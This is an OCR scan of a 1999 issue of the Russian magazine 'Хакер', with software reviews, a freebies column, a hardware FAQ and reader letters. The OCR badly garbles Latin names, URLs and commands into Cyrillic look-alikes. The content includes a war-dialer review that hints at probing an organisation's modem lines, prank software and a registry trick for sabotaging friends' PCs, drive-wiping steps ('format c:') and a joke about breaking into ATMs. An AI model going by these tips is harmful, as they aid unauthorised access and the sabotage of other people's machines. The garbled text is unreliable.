ки достаточно трудоемкий. Хм... стыдно приз- 
наться, но после установки СугСопуННр я 
пару раз начинал напевать известную песню 
ламеров «Имел в виду я КО!-8...». © 


М СУгСОНУНИ 


твоиспытатель» будет удовлет- 
ворен! 


@газ$Норрег \ 1.0.6 
УИпдомз 95/98 /МТ 

Зе: 3240 кб 

ЗКаге\маге 

Недавно слышал, как один юзер говорил друго- 
му, что его броузер самый лучший, потому что 
«на него можно натянуть любую шкуру»! Это 
заставило меня задуматься, а не отстал ли я от 
жизни? Может и правда, если прогу можно зас- 
тавить выглядеть как сливной бачок, натянув на нее шкуру сливного бачка, то эта про- 
га автоматически становиться рулез форева? 

Хотя, наверное, нет, раз появляются программы вроде СтгаззНоррег, которая вместо 
того чтобы, как все остальные, просто «дооснастить» движок Е «совершенно улетным 
дизайном», делает действительно нужную вещь — реализует на нем более продвину- 
тую модель интерфейса. И вот теперь даже самый закоренелый поклонник |мегпе! 
Ехр|огег может посмотреть, как это — работать со многими окнами одновременно. Ну 
и плюс разные там мелочи: вроде открытия нового окна для новой страницы, и загруз- 
ки всех сайтов, собранных тобой в каком-ни- 
будь подкаталоге твоих Рауогйе$. 

Один минус... Где-то это все я уже видел... © 


\МЕгБо{ у 5.04 
\УУтаомз 95/98 /МТ 
Зе: 8988 кб 
Звагеуаге 
Вир://ммиуимрегзоп.сот/ 

«Смотрите! У вас в доме завелась говорящая 
голова!» — именно с таким возгласом самый 
крутой чел всех времен и народов Карлсон 
мог бы встретить не только телевизор, но и программу УегБо, если бы у Малыша был 
компьютер. Только, в отличие от обычного диктора, виртуальная личность, с которой 
действительно можно поговорить, заинтересовала бы его намного сильнее. Может быть, 
эта программа заинтересует и тебя? 

В комплекте поставляются сразу две личности: молодая женщина ЗУМе и... инопланетя- 
нин (опять) ©, которого, на этот раз, зовут Ке! Черт! Иногда их ответы действительно за- 
бавны! А если тебя интересует еще что-то помимо, собственно, общения, то учти, что 
уегБо|-ы могут громко читать текстовые файлы и... хе-хе... приветствовать гостей, если ты 
заранее «поработаешь» на встроенном языке написания сценариев. Удачной тебе хох- 
мы, друг! 


МЕОТгасе у 2.02 
УМпаомз 95/98 /МТ 
Зе: 1187 кб 
ЗВагеуиаге 
Вир://ммим. пео\огх.сот/ 
А вот наш старый знакомый 
МеоТгасе в своей новой вер- 
сии заметно «заматерел». Ви- 
димо лавры У!зуа!Коше не 
дают его разработчикам 
спать спокойно. и хотя догнать 
последнюю по скорости и удобству работы он 
так и не смог, но в плане обрастания различными 
наворотами продвинулся значительно. Если рань- 
ше, выполняя тгасегоше, МеоТгасе показывал 
только флажок страны для каждого роутера, че- 
рез который проходили твои !р-пакеты, то теперь 
он пытается показывать расположение этого роу- 
тера на географической карте мира. 
Все задержки визуализируются на специальном 
графике, а также могут быть представлены в спе- 
циальной сводной таблице. Карта мира выглядит 
привлекательно, но из-за технических трудностей, 
связанных с получением точной информации о 
географическом местонахождении каждого от- 
дельного узла, маршрут вычерчивается в боль- 
шинстве случаев не совсем правильно. Впрочем, 
этим в одинаковой мере стра- 
дают и другие программы по- 
добного рода (М зиа!Кошще и 
СеоВоу... — см. Х № 4). Но 
вот в чем МеоТгасе «уделал» 
всех своих конкурентов совер- 
шенно однозначно, так это в 
звуковом сопровождении 

своей работы! ® 


Неуепое РасКк 5емр 


ОшЁсН У 2.1 
\УУпаомз 95/98 /МТ 
Зе: 119 кб 
Ргее\уаге 


Н2гат у 2.4 
| МИпаомз 95/98 /МТ 
Зе: 2790кб 
Зпагемаге 
Внр://мимихпеЕ с 
«Пусть на ммм чатятся ламеры! А ты, как истинный хакер, бу- 
дешь обитать в ВС» — статья с таким названием была опубли- 
кована во втором номере нашего журнала... Стоп! Стоп! Не 
надо плеваться кипятком, защищая свой любимый у/\м\-чат! Я —/ 
лу, втихаря, принес тебе про у, с помощью которой | 
«кул хац-_ —— - 


ТРЕ рен Раск у 5.0 

\УМпаомз 95/98 

Эте: 93 кб 

Ргее\аге 

Вир://дзпиймписауе.пе! 

Зачем писать программы-розыгрыши для М/т4о\уз, если во всех 
операционных системах от М!'сгозой уже изначально заложена ус- 
тановка «не давать пользователю скучать». Я имею в виду, что если 
из системы и так периодически «исчезает» то одно, то другое ус- 
тройство, а вид системного сообщения об ошибке уже многими 
воспринимается в качестве приглашения начать работу, то зачем 
же еще писать программы, отключающие мышь или выдающие 
фальшивые сообщения? Ведь все уже есть в комплекте! Но, тем не 
менее, я не могу отказать себе в удовольствии и продолжаю знако- 


Внр://мимиу.дийе.пе/-ВиБЫе/ мить (хе-хе) своих друзей с программой Веуепде Раск. Кеуепде РасК это подборка как стандартных, 
зуийсНИ/ змийоВИг.ВНт так и эксклюзивных шуточек (фальшивые сообщения, самостоятельный запуск приложений, смена 
Стандартными средствами разрешения экрана, завершение работы ОС, «акселератор» мыши, «импульсивный» курсор, самос- 
М/пао\з мне не удалось сде- тоятельный набор текста и многое другое), которая поставляется с инсталлятором, который позво- 
лать так, чтобы переключение ляет установить на выбранной машине только «необходимые» компоненты. Но главная идея-то в 
между несколькими раскладка- | чем? А в том, чтобы все эти «подарочки» срабатывали время от времени, сменяя друг друга! Тот, кто 
ми клавиатуры сопровождалось | будет работать на машине с установленным Веуепде РасК-ом, проклянет все на свете, а в первую 


звуками, различными для каждо- 
го языка и которые я могбы 
задавать самостоятельно. 
Пришлось лезть на мимим.5{- 
зоН.го , где я нашел програм- 


очередь «страшно глючные Винды»! Ну разве не прелесть?!! © 


ТЕЕрпопчу 5саппег у 1.0 
\УМпаомз 95/98 /МТ 


му Змийсй |1, которую сейчас нотации Зе: 4773 кб 


_ бострооетаяния доу сто полтона ава: 


О ООО 
и юзаю. Причем юзаю с удо- еее Ггеемуаге 


С ре ранив 
вольствием, очень уж прият ег 
но программа сделана. Ин- 


Вир://хЮгсе.155.пе/ргою\огх/ 
Компания [п{егпе! Зесийу Зу$етз (та са- 


е 
дикатор, «по умолчанию» ас- \ ) мая, что ответственна за разработку 


социированный с каждой 

раскладкой клавиатуры, может 

быть изменен, клавиши, при нажатии которых 
происходит переключение, можно выбрать (хотя 
хотелось бы, чтобы их можно было задавать явно}, 
про проигрывание звуковых файлов я уже гово- 
рил... А! Вот! Автор утверждает, что Зууйсй Ш ус- 
траняет ОШИБКУ В КОМПОНЕНТАХ МсгозоН 
О се 97, связанную с периодической потерей 
языкового контекста, в результате чего текст, наб- 
ранный на одном языке, считается набранным на 
другом... Хм... По-моему он не врет! © 


Шаровары 


2. |уегпе! Зсаппег-а) представила програм- 
му Теерпопу Эсаппег, которая занимается 
тем, что прозванивает заданный диапазон теле- 
фонных номеров, старательно фиксируя те линии, на 
которых трубку «снимает» модем, причем в базе данных программы сохраняется 
любая информация, полученная от этого модема. Отчеты о проделанной работе 
Те!ервопу Зсаппег выдает в формате НТМ(. В народе программу с такими фун- 
кциями называют просто \\аг Гуа[ег-ом, так что, может быть, тебе будет интерес- 
но поюзать ее просто так, для общего развития. Ну а если тебе просто позарез 
нужно узнать, нет ли у какой-нибудь организации пока еще неизвестных тебе мо- 
демных линий (модем и ПК под Кето!е Зегуег Моде во внутренней локальной се- 
ти были бы очень кстати };), то с каким-нибудь \У\аг Ота!ег-ом тебе придется знако- 
миться поближе наверняка! 
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1. ТК 

ВПр//муим. .сот/зигуеу/зигуеу2?0/игуеу20.сёт 

Помните, в седьмом номере Х эта фирма раздавала диски с 

прогой по управлению спутниками Вот, а теперь она хочет уз- | 

нать наше мнение об этом ЗаНе!е Тоо! К. Просто отвечаем на | 

50 вопросов и получаем большую халявную кружку! 

АХ я ме 
` 2. АРС 

Внр://мим.арсс.ги/тЮ/зоийоп.Вт | 

Вот уже который год эта фирма высылает всем желающим ката- 
логи руководство по защите электропитания. Ну так надо по- 
мочь им избавиться от этой макулатуры ©. Кстати, вот что лю- 
бопытно — на официальном сайте АРС, помимо каталога, ра- 
зыгрывается еще и Этаг!-ИР$ 700 (а наши, конечно, его зажа- 
ли). Загляните туда: 

_ ВНр://ммм.арсс.сот/до/ргото/гед! 


о 


ег_1о_м/т. 


4. )обппу’$ Зее 

ВНр://ммми[оппузеес5.сот/ 14а. т! 
ВНр://мимим{обппузее4$.сот/ 1 А.В! 

Каталог семян различных агрокультур. Ссылок две, так как ката- 
логов тоже два — один для всех, другой только для владельцев 
ферм. А у вас есть ферма? У меня нет, зато у меня есть оба ка- 
талога. 


5. ВЫе тю 

Внр:/ ммм. ЫЫетю.сот/ ой. Вт! 

Высылают толстую (254 страницы} книженцию на религиозную 
тематику. Называется сие произведение «Библия и Вы». Вам это 
надо® 


6. ТорОиаТеа 

’_ ВИр//ммимилюрдиаЙеа.сот/епа!В/дганз_е.Втт! 
Пакетик чая высшего сорта (обращаю внимание: пакетик выс- 
шего сорта, а чай — дерьмовый). Доставка прямо из Индии к ва- 


» 


# 


ыы НОЯ ИЩЕНОГЯ $27] 22522 


2 


21 


вый ящик за неделю! 


РЕ. — 


9. Епдеепег Оппе 
ВНр://мму.епдтеегоп/те.сот/са!-Ьт/ 

етай. со? са=1 12570 1етр/с!е=епдтеегоп/те] 

Раздают всем желающим халявный коврик для мышки стоимос- 


тью 15 американских рублей! 


з в уг $ И ыю 

10. ВМУ/ Е 

Бир:/ уму. ту. сот/Бтие/ргодисв/опота/ИШе_ то / ы 

Ме/таех.зВ ит! > 

Каталоги одежды, мотоциклов и различных безделушек от фир- “ 

мы ВМУУ. Только для настоящих фанатов. Я р 
== _ ле -ознанины | ; а 

11. Аме$юг Сато т = 


| аки. 1 „а“ 


_ той подземке из пятого номера). Также спешу сообщить, что я 


а 


м 
ков (Еуоре@Тай.ги) 


рнр://Лмими иску. Вт.сотЛот.В т 
Это не халява! Но это — лотерея! Разыгрывается два мощней- 
ших компа. Один — обыкновенный (хе-хе) 366-ой Саегоп, а вот 
второй (главный приз, типа} — $1 Миа! М/огкю!т 320 от 
Зйсоп Сгар№с$. Просто для интереса приведу некоторые тех- 
нические характеристики этого монстра: РепНит || 400 МН?, 
128 МВ Ват, 17-ти дюймовый плоский (!!!} монитор плюс куча 
всяких наворотов. 


Разбор полетов 

Судя по пришедшим письмам, халява необходима русскому че- 
ловеку как воздух, так что, в основной своей массе, они были 
благодарительно-вопросительного характера. Ругали только за 
мышиные коврики, точнее, за их отсутствие по указанным ссыл- 
кам. Люди, поймите, между отправкой ссылки в редакцию и появ- 
лением журнала в продаже проходит чуть ли не месяц, а за это 
время все может измениться. Я и так стараюсь сдавать материал 
в последние сроки, чем навлекаю на себя гнев главвреда. 

Да, прежде чем приступить непосредственно к ответам на са- 
мые часто задаваемые вопросы, хотел бы сообщить, что яи 
КЫхо! — разные люди, поэтому не надо мне жаловаться на то, 
что вы испортили проездные билеты на метро (к статье о хакну- 


не являюсь ни редактором, ни главредом, ни издателем Х. Я ве- 
ду рубрику о халяве! Так что, плиз, не шлите мне письма с 
просьбой разместить вашу статью, письмо и улучшить качество 
обложки. Ну ладно, высказался, теперь сами вопросы: 

©: Все-таки, сколько я должен буду заплатить за эту халяву? 

А: Для особо одаренных (которых в детстве три раза подкинули, 
два раза поймали) объясняю — НИСКОЛЬКО! Иногда с вас мо- 
гут взять около двух рублей за доставку по России, но это толь- 
ко в том случае, когда масса посылки превышает 500 граммов. 
О: Как долго мне ждать прихода этой халявы? 

А: Вечность! Шутка... Обычно, халява приходит через 4 (четыре) 
недели. Реже — через две недели, еще реже — через два месяца. 
©: Не очень понял, что и где писать в анкете, если я, например, 
живу в №-ской области №-ского района в селе М-ском2 

А: Да, я не разобрал этот момент и вину свою признаю полнос- 
тью. Бросив клич на своем сайте с просьбой помочь разобрать- 
ся в этом вопросе, я вскоре получил письмо от Дмитрия Ветлуж- 
ского (большой сенкс тебе!) с подробными объяснениями. Итак: 
Область указывается в графе Сйу и обозначается как гедоп 
(можно и агеа). В этой же графе можно указать и ваш район 
(Ченс}. 

Поселки и деревни нужно указывать в графе Зее! Адагезз. По- 
буржуйски они зовутся зеетеги. 

Для примера, Московская область, Щелковский район, поселок 
Свердловский будет выглядить как Мозсоуу гедюп, ТзсНе!Ко\из К 
Чезчись, Змиег|о\изК! зеМетеп:. 

О: Как по-англицки будет абонентский ящик? 

А: Р.О. Бох. Только я бы вам не советовал его использовать, так 
как многие фирмы просто не высылают халяву, если там стоит 
а/я. Им интересно общаться с человеком с реальным адресом. 
О: Аты уверен, что всякие бульвары, проспекты и площади на- 
до писать транслитом, а не по-англицки? 

А: Нет, не уверен. Но я также не уверен в том, что наши поч- 
тальоны хорошо знают английский язык. Хотя, если со 5нее!у 
них проблем не возникает, то итРо не возникнет и со всем ос- 
тальным. А посему: 
улица — зтее! 
проспект — ауепие 
площадь — заиаге 
переулок — |апе 
набережная — ацау 
шоссе — Мой\ау 
бульвар — Бощеуага 
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асто задаваемые вопросы 


Что делать с 
нестандартной вилкой? 


Этот вопрос я часто слышу в дорогих 
компьютерных магазинах. Продают, 
например, чуваку принтер маленький- 
маленький с большим таким трансфор- 
матором, чтобы с 250 до 127 понизить 
напряжение. Но это все лирика, а 
проблема в том, что часто бывают вил- 
ки, которые не лезут ни в одну розетку. 
Или форма вилки не нравится владель- 
‚ и он начинает ползать всюду дли- 
тельное время и ныть: «А где мне шнур 
купить». 
Просто отрезай вилку под корень, за- 
чищай проводки. Иху нас 3, один — 
земля. Его определить просто: в 60% 
случаев земля сильно отличается по 
цвету от остальных, она или желтая или 
коричневая. Если ты сомневаешься, то 
прозвони проводки тестером, либо 
лампочкой от карманного фонаря с 
батарейкой. Один мой друг делал все 
ртом. Зубами он зачищал провода, а 
языком их звонил. Теперь ты можешь 
поставить на этот шнур любую вилку. И 
никаких дрянных переходников, кото- 
рые постоянно искрят и жгут все на 
свете. 


Моя игрушка требует 
вставить СО® 


‚гобы игрушку обмануть, нужен СО- 
эмулятор. Когда ты будешь искать та- 
кую прогу в сети или на пиратском дис- 
ке, то, скорее всего, подцепишь какую- 
нибудь заразу типа трояна. Их любят 
приклеивать как раз к такого рода 
программам. 


в’ Как спасти залитую 
ВЕ чаем клавиатуру? 


Надо разобрать, промыть и просушить. 
Внутри клавиатуры обычно сэндвич из 
трех прозрачных пленочек с контакта- 
ми, их-то и надо помыть. Иначе клавиа- 
тура будет глючить и после просушки. 
Потерять кнопки бояться не стоит, т.к. 
они все закреплены на отдельной па- 
нели. Современные клавиатуры прак- 
тически не сжигаемы. Главное, не за- 
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лей чип, который обычно находится в 
правом верхнем углу, вмести с лампоч- 
ками. 

Сейчас разборка клавиатуры — дело 
безопасное, а вот лет 6 назад.... Один 
приятель вылил чай на клаву. Не долго 
думая, ее развинтил, и 101 пружинка 
выстрелила ему в лицо вмести со 101 
кнопочкой. Кнопочки с пружинками на- 
бились под диван, в тапочки, в шкаф, 
под шкаф, на шкаф. Детям с домашни- 
ми животными очень понравилась но- 
вая интересная игра. Так проваливают- 
ся курсовые работы и развивается ши- 
зофрения (см. «Что такое шизофре- 
ния2»). 


Почему после чистки 
мышь стала 
двигаться рывками? 


Скорее всего, ты случайно погнул час- 
ть оптотрона во время чистки. Фо- 
тоэлементы должны располагаться на 
одной линии, их нужно чуть подогнуть, 
пока ни появится положительный 
эффект. Фотоэлементы находятся на 
плате, рядом с колесиком. Естественно, 
мышь при такой настройке будет в ра- 
зобранном состоянии. Нужно, чтобы 
на нее не попадали прямые лучи света. 
Иначе она будет капризничать. 


Какое разрешение 
поставить на 
14” мониторе 


Обычно ставят 800х600. Нужно ориен- 
тироваться на усталость глаз. Лучше 
поставить то разрешение, при котором 
глаза устают меньше. На некоторых 
карточках, бывает, какое-то разреше- 
ние работает лучше, чем остальные. 
Обязательно поиграйся с частотами 
возобновления экрана яркостью и кон- 
трастами. Если поставил большое раз- 
решение, то воспользуйся функцией 
«большие буквы». 


Как записать на комп 
стереозвук? 


Ты должен быть в курсе, что не все зву- 
ковые программы поддерживают сте- 


рео формат. Прог звуковой обработки 
развелось немерено, так что с софтом 
копайся сам. Практически все звуковые 
платы тянут стерео. Но записать на две 
дорожки ты можешь только через ли- 
нейный вход. Т.е. вход без усилителя, к 
нему обычно подключают магнитофоны 
и прочую дребедень. Если ты где-то на- 
рыл стереомикрофон, то ничего не 
выйдет. На непрофессиональных звуко- 
вых картах вход для микрофона моно. 
А лишний вывод замыкается на землю. 
Так что если ты стереоголоса захотел, 
то придется записывать по отдельности 
на каждую дорожку, а потом микширо- 
вать. К линейному выходу микрофон 
подключать почти бесполезно, нужен 
усилитель. Как ты догадался, можно пи- 
сать одновременно максимум на две 
дорожки. Многодорожечные карточки, 
конечно же, есть, но это уже профес- 
сиональная техника, и цена у нее соот- 
ветствующая. 


Какой микрофон лучше, 
: динамический или 
электретный? 


Для распознавания и записи речи луч- 
ше подходит электретный. Электретный 
микрофон меняет сопротивление в за- 
висимости от звуковых колебаний. Ди- 
намический — сам вырабатывает сла- 
бый ток. При записи на динамический 
микрофон сохраняется множество пос- 
торонних шумов. Такие микрофоны ис- 
пользуются для записи мелодий или 
очень качественной записи речи. Элек- 
третный микрофон сам фильтрует часть 
шумов. У него обычно уже полоса про- 
пускания. Т.е. количество частот, к ко- 
торым он чувствителен, меньше чем у 
динамического. 


|7 у Что такое 


ПЕ трафике 


Трафик — количество байт, которое ты 
принял и передал своему провайдеру. 
Это актуально для владельцев выделен- 
ки. Если юзер превышает лимит на ко- 
личество скаченной с сети порнухи, то 
ему назначают дополнительную плату 
поверх абонентской. 


пра 


Что делать, если у меня 
мышь и внешний модем 
на один разъем? 


Из этой ситуации есть масса выходов. 
Самый дорогой выход — купить мышь 
на порт рз/2, если он есть. 

Если у модема с мышью один разъем, то 
мышь, скорее всего, на Сот 1. Так что 
надо купить переходник на 2-ой ком. 
Можно купить новый шнур к модему на 
второй ком. 


- 


Самый дешевый способ — спаять шнур 
самому. Для этого нужно найти разъе- 
мы, их разводку и чуть-чуть отваги. 
Если взять цветной бумаги, 

Краски, ножницы и клей, 

И еще чуть-чуть отваги, 

Можно склеить 100 рублей. 

(Стих неизвестного автора) 


Как к Интернету 
МОЖНО ПОДКЛЮЧИТЬСЯ 
без модема? 


Через локалку. Т.е. через сетевую кар- 
точку. В крупных городах существуют 
локальные региональные сети, из кото- 
рых возможен выход в Интернет. Мож- 
но купить себе выделенку — качествен- 
ную линию, протянутую к тебе прямо 
от провайдера. Можешь поставить ра- 
диомодем, также для связи по выделен- 
ному радиоканалу с провайдером. Не- 
которые ставят спутниковую антенну 
на прием, а запрос отправляется по 
телефонной линии. Тарелка может ра- 
ботать и на прием и на передачу, но 
это уже крутая тарелка. И, наконец, 
оптоволокно. Все способы перечисле- 
ны по возрастанию цены. 

У одного парня модема не было, а хо- 
телось очень-очень. Он стал маяться 
дурью: звонил провайдеру и пищал в 
трубку, подражая модему. Однажды он 
случайно сконнектился на 1200. После 
трехлетней тренировки он коннектится 
на 56к при любом качестве связи. Бо- 
лее того, он способен очень быстро 
сломать пароль сисадмина у любого 
провайдера; не удивительно, ведь тут к 
телефону подключён почти сам мозг. 
Естественно, он понимает сигнал на 
слух, так что может, подключившись к 
телефону, подслушать чужой пароль. 
Единственная проблема, что через пять 
минут у него пересыхает в горле, и кон- 
нект рвется. 


Мой компьютер 
не успевает выйти из 
МИпдо\з и выключается! 


Ну, приятель, тебе еще повезло! Вот у 
одного гения У/пдо\$ не успевал заг- 
рузиться — выключался. Тогда этот ге- 
ний привел другого, и концентрация 
мозгов на квадратный сантиметр дос- 
тигла критической массы. Все закончи- 
лось, конечно же, в больнице, т.к. нали- 
чие напряжения в блоке питания гении 
проверяли языком. 

Если кто еще не понял, о чем речь, но- 
вый формат блока питания АТХ поддер- 
живает засыпание как телевизор. Иу 
одного из наших читателей компьютер 
засыпает на пол дороги, а загрузка на- 
чинается со скандиска. Вышли, мол, из 


Оконца некорректно. 


Хакер 8/ ‘99 ВИ р://шшшхаКер.гу 


Бороться с этим, прежде всего, в пане- 
ли управления, в папках «управление 
питанием», «система», «дисплей». Если 
ничего не’дала даже переустановка 
системы, то лучше просто отключить 
засыпание в ВО$. 


Как полностью 
отформатить винт 
под виндами® 


На похожий вопрос я уже как-то отве- 
чал, но мне продолжают его задавать. 
Примечательно, что это интересует в 
основном девушек. Итак, милые дамы! 
1) Перезагружаетесь в режиме эмуля- 
ции М$ Оо5. 

2) Набираете команду [ОСК и утверди- 
тельно отвечаете на предупреждение 
(У). Теперь можно набирать Фогта с: 
или ЗК. ^ 

Еще можно загрузиться с системной 
дискетки М$ Оо$, тогда |юсК не понадо- 
бится. Танцуют все! 


й 


Правда, что блок пита- 
ния АТХ пожароопасен® 


Пока известны случаи загорания спя- 
щих телевизоров, но вот чтобы компы 
во сне горели, я не слышал. Однако, 
если ты не хочешь сделать из своего 
компа электрокамин, выключай его из 
сети, когда уходишь; Спящие телеки го- 
рели как раз тогда, когда их оставляли 
дома одних на недельку. Чтобы ком- 
пьютер включался и выключался в оп- 
ределенное время суток, без постоян- 
ного присмотра, используй электроме- 
ханическое реле. Обычно такой де- 
вайс продается в виде розетки с «часа 
ми». Стоит от 100 до 800 рублей. Часо- 
вой мотор питается от сети. На цифер- 
блате можно выставить время, в кото- 
рое каждые сутки розетка будет вклю- 
чаться и выключаться. 


Что такое 
шизофрения? 


В Сети есть много людей, которые с 
гордостью называют себя шизофрени- 
ками, шизиками, шизоидами. Эти ре- 
бята считают себя крутыми. Почитали 
бы лучше справочник моей бабушки- 
врача: 

«СИМПТОМЫ. Со стороны психики — 
расстройство интеллекта, на первом 
месте расстройство ассоциативной 
деятельности, разорванность мышле- 
ния, персеверация, (тупое повторе- 

ние — прим. Дока), интеллектуальная 
амбивалентность (двойственность, не- 
разбериха, каша в голове — прим. До- 
ка), симптомы задержки (тормозит 
приятель — прим. Дока ). Манерность 
речи, мутизм (приколись! — прим. До- 


РАО 


ка)... Безразличие, апатия, понижение 
волевых импульсов, автоматическая 
подчиняемость» 

Словом, если еще раз встретишь пси- 
ха, который так себя называет, дай ему 
почитать Х. 

В следующий раз я расскажу про ма- 
ниакально-депрессивный психоз, кото- 
рому подвержено большинство сисад- 
минов в слабой и вялотекущей форме. 


Как к одному компу под- 
ключить несколько мони- 
торов® 4 


Через разветвитель. Они продаются 
баксов за 10 на каждом углу. Такой ты 
можешь сделать сам, если найдешь 
разъемы и разводку. Но на всех мони- 
торах будет одно и то же. 

Можно заставить машину работать с 
несколькими дисплеями. Для этого нуж- 
на видеокарта с несколькими вывода- 
ми, они ужасно дорогие. Можно вста- 
вить две видеокарты, но не факт, что 
все так просто заработает. Мультиди 
плейность поддерживают далеко не 
все операционные системы. Возможен 
аппаратный конфликт. 


Я часто сижу в сети, 
и занят телефон! 


Некоторые провайдеры придумали 
неплохой выход. Ты сидишь дома на те- 
лефоне, твои друзья не могут прозво- 
ниться к тебе. Тогда они звонят твоему 
провайдеру по специальному телефо- 
ну. Набирают тоном твой абонентский 
номер. И ты принимаешь звонок, не 
выходя из Интернета. Для этого нужен 
микрофон и аудиокарта, поддержи- 
вающая дуплексный режим. Т.е. такая 
карточка одновременно должна уметь 
записывать и воспроизводить. Софтом 
тебя снабжает провайдер. Свежо пре- 
даньице, да с нашей скоростью не 
больно поговоришь. И потом, если оп- 
лата почасовая да еще эта услуга так- 
же платная.... Словом, будет лучше ос- 
вободить телефон, и пускай тебе пе- 
резвонят. 

Есть и традиционные методы — покупка 
выделенной линии или новой телефон- 
ной. Некоторые умники подключаются 
к соседям через щиток, чтобы сидеть в 
Инете и трепаться по телефону. Таких 
ловят и штрафуют. Я сделал проще — 
купил пейджер. Если ты крут, то купи 
себе мобильник ®. 


Пчкча Доктор 
ПобрянскаЯ 
(ОгСо4@хакКЕр.гч) 
НИр://Ллата.аВа.ги/7 
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Письмо: 
От: Соо[о; КЕАСООНО@МАИ. РИ 


Н/падаз титафска | 

Это типа здорова уважаемые Х-уиагтоге... пи- 

шет вам один ваш сопзапнеааег. Для начала 

пара янки скажут несколько слов о вашем жур- 

нале... держитесь! 

— Э555.... ээээз.... 

— Точно, точно. 

— Заткнись, баклан! 

Спасибо, парни. 

Теперь к делу. Стало модно писать всяки фичи 

системы «западла». И вот начитавшись ваших 

манускриптов у меня придумалась одна такая 
`Учка. Бывалых юзеров и Х’ов ею не удивишь, 

меня она очень прикалывает ©. Делается 

все так: 

гаг: заходишь в гедед! по адресу: 

НКЕУ_СИЕКЕМТ_(ИЗЕК\Зойуиаге\Мисгозой\У/т 

аоиз\СитетМегзюоп\Ро/«ез\Ехр/огег. 

сма: создаешь двоичный параметр 

«Море5Кюр» и пишешь в нем 01 00 00 00 

1: закрываешь все открытые окна и проги, на- 

жимаешь на любой ярлык десктопа (потом пой- 

мешь, зачем). 


„..И... смотри за пальцем... нажимаешь кнопку 
«РипЮсгееп» 

(Свейте: запускаешь, например, пэинтбраш, де- 
лаешь там «вставить» (сам знаешь, что и куда ®. 
Ра!: сохраняешь куда-ть фотку десктопа в Бтр 
и в настройках экрана выбираешь этот файл в 
роле «рисунка». 

Зрез!: геБоо Е МБ! 

Весело наблюдать за френдом, который в при- 
падке тыкает на ярлык любимого порносайта?!/ 
Но как и все вкусное имеет свои не вкусные 
стороны, эта фича имеет свои саксы, напри- 
мер, ярлыки при перезагрузке появляются поз- 
же, и поэтому все сразу видно... Би! 4оп+ 
Уопу, Бе Варру. 

/РО$маате/ 


Ответ Х: 


Хой, Кулио (Иклессиас?! 

Сам ты па да5. 

Теперь тоже пара вступительных слов: 
Э... Типа, панимаш, Дорогие Россияни! 
Э. 

Вот. 

Спасибо за внимание. 
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Покупайте книги в интернет-магазине 


Баего 


Наш адрес в тегпе! 
Вир://илри. 6 дето.ги 


В продаже также: 
игры, программное обеспечение, 
видео, музыка, подарки 


Теперьо главном: были рады увидеть в ящи- 
ке твое письмо, по твоему методу изгадили 
все компы в соседской редакции «Страны 
Игр». Там ребята до сих пор репу чешут — 
наверно, нас подозревают. Будут бить, и все 
из-за тебя. На этом кончаю, и все такое. Пи- 
ши нам еще — мы будем все проверять на 
них. 


Письмо: 
От: УБЫБ РЕФТПЧ; ТЕЕ/ИОК@МАИ. РИ 


Н. Я не пропускаю номеров. Предлагаю на- 
писать про банкомат, как его хакнуть. р.5. 
хак поп 5юр. 


Ответ Х: 


Дарова. Мы в редакции тоже еще не про- 
пустили ни одного номера — читаем все. Те- 
перь о деле. Для взлома банкомата тебе по- 
надобятся молоток и клещи. Если своих 

нет — напиши, мы пришлем. Молотком надо 
бить по крышке банкомата, а клещи нужны, 
чтоб вытаскивать молоток, когда он застря- 
нет. Ну, вот и все. Главное — вовремя убе- 
жать, когда приедет милиция, и не забыть 
молоток и клещи. Успехов тебе в этом нелег- 
ком деле — взломе банкоматов ©. 


Письмо: 


Здрасти уважаемый АЦ. редакция, столь 
кульно-рулезного хацкерского журнала. Пи- 
шет вам агент Мадлер. 

Увас хороший журнал, но не могу не под- 
держать Рею Нгеетап’а (#4/99. Адрес: 
овзе @оп/пе.ги } на счет переплета. Жур- 
нал просто разваливается на глазах. Совет: 
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Самая быстрая и дешевая доставка 


7 ры 
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Приветствую Вас, малоуважаемый мною жур- 
нал «Хакер». Извините, что начало грубое, но 
уж что накипело... Ваш журнал не имеет права 
носить такое название, ведь вы не имеете к «ха- 
ку» никакого отношения. Хочу, чтоб вы поня- 

ли — я пишу вам это письмо только потому, что 
прочитал в последнем номере письмо к.м.н. До- 
цента А.Щербакова, и понял, что есть еще лю- 
ди, которые думают так же, как я!!! Щерба- 

ков — вот кто настоящий Хакер, а вы можете 
претендовать только на название «[атег». Нас- 
тоящий Хакер (а я, безусловно, крутой хакер, и 
это не громкие слова, а «сухие» факты !!] дол- 
жен как минимум знать два языка программиро- 
вания, а вы, так же как и все читатели этого 
журнала, даже не сможете починить компью- 
тер, если он у вас сломается! Вы только и умее- 
те, что играть в игры и бегать по девчонкам! 
Кстати, о девчонках... Вы пишете, что настоящий 
хакер должен гулять с девчонками, но это не 
так!!! На то он и хакер, чтобы все свободное 
время проводить со своим компьютером, тво- 
рить (извиняюсь за высокий слог). У меня, нап- 
ример, нету никакой девчонки, и нормально — 
обхожусь! (и вообще, зачем они нужны?) Вооб- 
ще, главный враг хакера — это время! Поэтому 
каждую минуту необходимо экономить Вы пи- 
шете, что «настоящий» хакер должен ходить в 
душ два раза в день — ЗАЧЕМ? (А знаете, что в 
душевой с мальчиками делают?) Я, например 
(как и подобает настоящему хакеру} хожу в душ 


всего один раз в неделю, а то и реже, и чув- 
ствую себя ВПОЛНЕ КОМФОРТНО! 


Так, пойдем дальше... 


Настоящего хакера на улице (котя он там и не 
часто бывает) должны выдавать две вещи: 


— очки (как это не грустно] 


— полнота веса (очевидное следствие его мало- 


подвижного образа жизни), 


Но этого не надо стыдиться! Во-первых, я не 
толстый, как говорят мои одноклассники (паме- 
ры поганые) — я просто упитанный, и, между 
прочим, мой вес соответствует моему росту (из 
роста надо вычесть «100», и получится нор- 
мальный вес для вашего роста), а те, кто обзы- 
вает меня толстым, просто худые дохлики! Что 
же касается очков, то я «потерял» свое зрение 
еще при изучении «Турбо Си 2.0». Еще вы пише- 
те, что настоящему хакеру всегда не хватает 
денег, но я (еще одно доказательство, что я яв- 
ляюсь хакером!! знаю, где брать деньги — мож- 
но собирать пустые бутылки и сдавать их... и в 
этом нет ничего плохого... ведь вы допускаете, 
что хакер должен копаться в мусорке в поисках 
пароля! — я довел эту мысль до логического 
конца! (Ну, кто умней...) Ежедневная прибыль 
составляет ок. 10 рублей, и у меня нет проблем 
с покупкой нового «Р/ауБоу’я»!! ;-). 

Вы пишете, что «настоящий» хакер должен есть 


Хакер 8/ ‘99 ВЫр://шшш.хаКЕр.ги 


амое дурац 
ь ас Ь мо 


От: Маринова А., г. Челябинск, ул. Сони Кри- 
вой, д.26 к.142, индекс 454080. 


кое 
